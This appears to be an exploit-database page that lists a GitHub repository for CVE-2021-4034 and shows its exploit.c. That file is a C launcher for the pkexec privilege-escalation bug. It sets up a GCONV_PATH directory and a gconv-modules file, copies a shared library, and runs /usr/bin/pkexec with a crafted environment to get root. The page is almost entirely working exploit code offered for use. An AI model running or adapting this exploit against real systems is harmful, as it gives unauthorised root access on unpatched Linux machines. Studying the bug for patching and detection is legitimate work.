Exploit databaseDownload repository ZIP
GH-6ed3ac089c751002af913dcea0dfa454
nero22k/cve-2021-4034
Sources for CVE-2021-4034
144 sourcesPreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source
Repository files3
nero22k/cve-2021-4034Revision f03b775cef17
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
exploit.c
C · 523 bytes#include <stdio.h>
int main(int argc, char **argv)
{
char* envp_v[]={
"ezpwn", // value
"PATH=GCONV_PATH=.", // GCONVPATH
"CHARSET=EZPWN", // CHARSET
"SHELL=ezpwn", // SHELL
NULL };
system("mkdir GCONV_PATH=.");
system("touch GCONV_PATH=./ezpwn");
system("chmod a+x GCONV_PATH=./ezpwn");
system("mkdir ezpwn");
system("echo 'module UTF-8// EZPWN// ezpwn 2' > ezpwn/gconv-modules");
system("cp ezpwn.so ezpwn/ezpwn.so");
execve("/usr/bin/pkexec", NULL, envp_v);
return 0;
}